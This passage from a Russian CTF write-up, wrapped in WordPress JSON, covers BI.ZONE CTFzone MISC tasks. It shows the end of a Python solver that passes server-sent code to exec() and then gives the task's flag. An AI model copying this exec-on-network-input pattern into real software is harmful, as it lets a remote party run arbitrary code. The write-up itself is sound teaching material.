code.replace(&quot;sleep(0.1)&quot;, &quot;&quot;)     if &quot;gone wrong&quot; in code:         print(code)         exit(0)      start = time()     if &quot;shuffle&quot; in code:         res = solve1(code)     elif &quot;OO0OOOO00OO0O0O0O&quot; in code:         res = solve2(code)     elif &quot;mas.append&quot; in code:         res = solve3(code)     else:         print(&quot;EXECING&quot;)         print(code)         exec(code)         print(sock.recv(102400))         print(sock.recv(102400))         print(sock.recv(102400))         print(sock.recv(102400))         exit(0)     print(time()-start)     code = None      res = str(res).encode()     try:         sock.send(res + b&quot;\\n&quot;)     except Exception:         print(sock.recv(102400))         print(sock.recv(102400))         break<\/code><\/pre>\n<\/div>\n<\/div>\n<p>  <\/p>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0434\u043e\u043b\u0433\u043e\u0436\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433!<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/f46\/6ef\/b4b\/f466efb4be55421e8fba66e1f2cd0798.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p><strong>\u041e\u0442\u0432\u0435\u0442:<\/strong> <em>ctfzone{YouRealyHaveSoMuchTime?}<\/em><\/p>\n<p>  <\/p>\n<p>  \u041a\u0441\u0442\u0430\u0442\u0438, \u043f\u043e \u0432\u0430\u0448\u0438\u043c \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u043f\u0440\u043e\u0441\u044c\u0431\u0430\u043c \u043c\u044b \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0438 \u043e\u0444\u0444\u043b\u0430\u0439\u043d \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u2013 \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0438\u0433\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u0440\u0430\u0439\u0442\u0430\u043f\u0430\u043c\u0438 \u043c\u043e\u0436\u043d\u043e <a href=\"https:\/\/ctf.bi.zone\/files\/\">\u043d\u0430 \u044d\u0442\u043e\u043c \u043f\u043e\u0440\u0442\u0430\u043b\u0435<\/a>. \u041d\u043e \u043d\u0435 \u0437\u0430\u0431\u044b\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e \u043d\u0430\u0448\u0438 <a href=\"https:\/\/tasks.bi.zone\">\u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043f\u043e \u0445\u0430\u0439\u0440\u0438\u043d\u0433\u0443<\/a>, \u043e\u043d\u0438 \u0431\u0443\u0434\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0435\u0449\u0435 10 \u0434\u043d\u0435\u0439 \u0434\u043e 15.12 \u2013 \u0432\u0440\u0435\u043c\u044f \u0435\u0449\u0435 \u0435\u0441\u0442\u044c!<\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u2013 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0439\u0442\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0438 \u043f\u0438\u0448\u0438\u0442\u0435 \u0432 <a href=\"https:\/\/telegram.me\/joinchat\/Aj-l2UC2XdOvF_ogMsQE0w\">\u043d\u0430\u0448 \u0447\u0430\u0442 \u0432 Telegram<\/a>. \u041d\u0438\u0447\u0435\u0433\u043e \u0442\u0430\u043a \u043d\u0435 \u0432\u0434\u043e\u0445\u043d\u043e\u0432\u043b\u044f\u0435\u0442, \u043a\u0430\u043a \u0432\u0430\u0448\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \ud83d\ude42<\/p>\n<p>  <\/p>\n<p>\u0412\u0441\u0435\u043c \u0434\u043e\u0431\u0440\u0430 \u0438 \u0443\u0434\u0430\u0447\u0438!<\/p>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/316846\/\"> https:\/\/habrahabr.ru\/post\/316846\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/b2f\/f73\/48a\/b2ff7348a87641faa463c5d73d01cae8.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0414\u0440\u0443\u0437\u044c\u044f, \u043f\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u0435\u0441\u044f\u0446 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u0438 \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0432\u0430\u043c \u043d\u0430\u0447\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e \u0441 \u043d\u043e\u0432\u043e\u0433\u043e \u0440\u0430\u0439\u0442\u0430\u043f\u0430. \u0412 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435 \u043c\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0438\u0437 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f <strong>MISC<\/strong>, \u043a\u0443\u0434\u0430 \u0432\u043e\u0448\u043b\u0438 \u0432\u0441\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u043d\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u043d\u0438 \u043f\u043e\u0434 \u043a\u0430\u043a\u0443\u044e \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044e. \u0422\u0443\u0442 \u0431\u044b\u043b \u043d\u0443\u0436\u0435\u043d \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u044b\u0439 \u043a\u0440\u0435\u0430\u0442\u0438\u0432 \ud83d\ude09<\/p>\n<p>  <\/p>\n<p>\u0412\u0435\u0442\u043a\u0430 MISC \u043d\u0430\u0448\u043b\u0430 \u043e\u0442\u043a\u043b\u0438\u043a \u0432 \u0434\u0443\u0448\u0435 \u043d\u0430\u0448\u0438\u0445 \u0438\u0433\u0440\u043e\u043a\u043e\u0432 \u2014 \u0437\u0430 \u0432\u0440\u0435\u043c\u044f \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u043a\u043e\u043b\u043e 300 \u0444\u043b\u0430\u0433\u043e\u0432. \u0417\u0430\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0438\u0437 \u0432\u0441\u0435\u0445 \u0442\u0430\u0441\u043a\u043e\u0432 \u043d\u0430 1000, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0438\u0437 \u044d\u0442\u043e\u0439 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u0431\u044b\u043b\u043e \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u2014 \u043d\u0430\u0434 \u043d\u0438\u043c \u043b\u043e\u043c\u0430\u043b\u0438 \u0433\u043e\u043b\u043e\u0432\u0443 \u043c\u043d\u043e\u0433\u0438\u0435, \u043d\u043e \u0443\u0441\u043f\u0435\u0445\u0430 \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u0438 \u0432\u0441\u0435\u0433\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u043b\u043e\u0432\u0435\u043a. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438 \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043d\u0430 50 \u0438 100 \u043e\u0447\u043a\u043e\u0432 \u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u044b\u043c \u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u043c. \u041f\u043e\u0435\u0445\u0430\u043b\u0438!<\/p>\n<p>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-282014","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282014","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=282014"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282014\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=282014"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=282014"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=282014"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}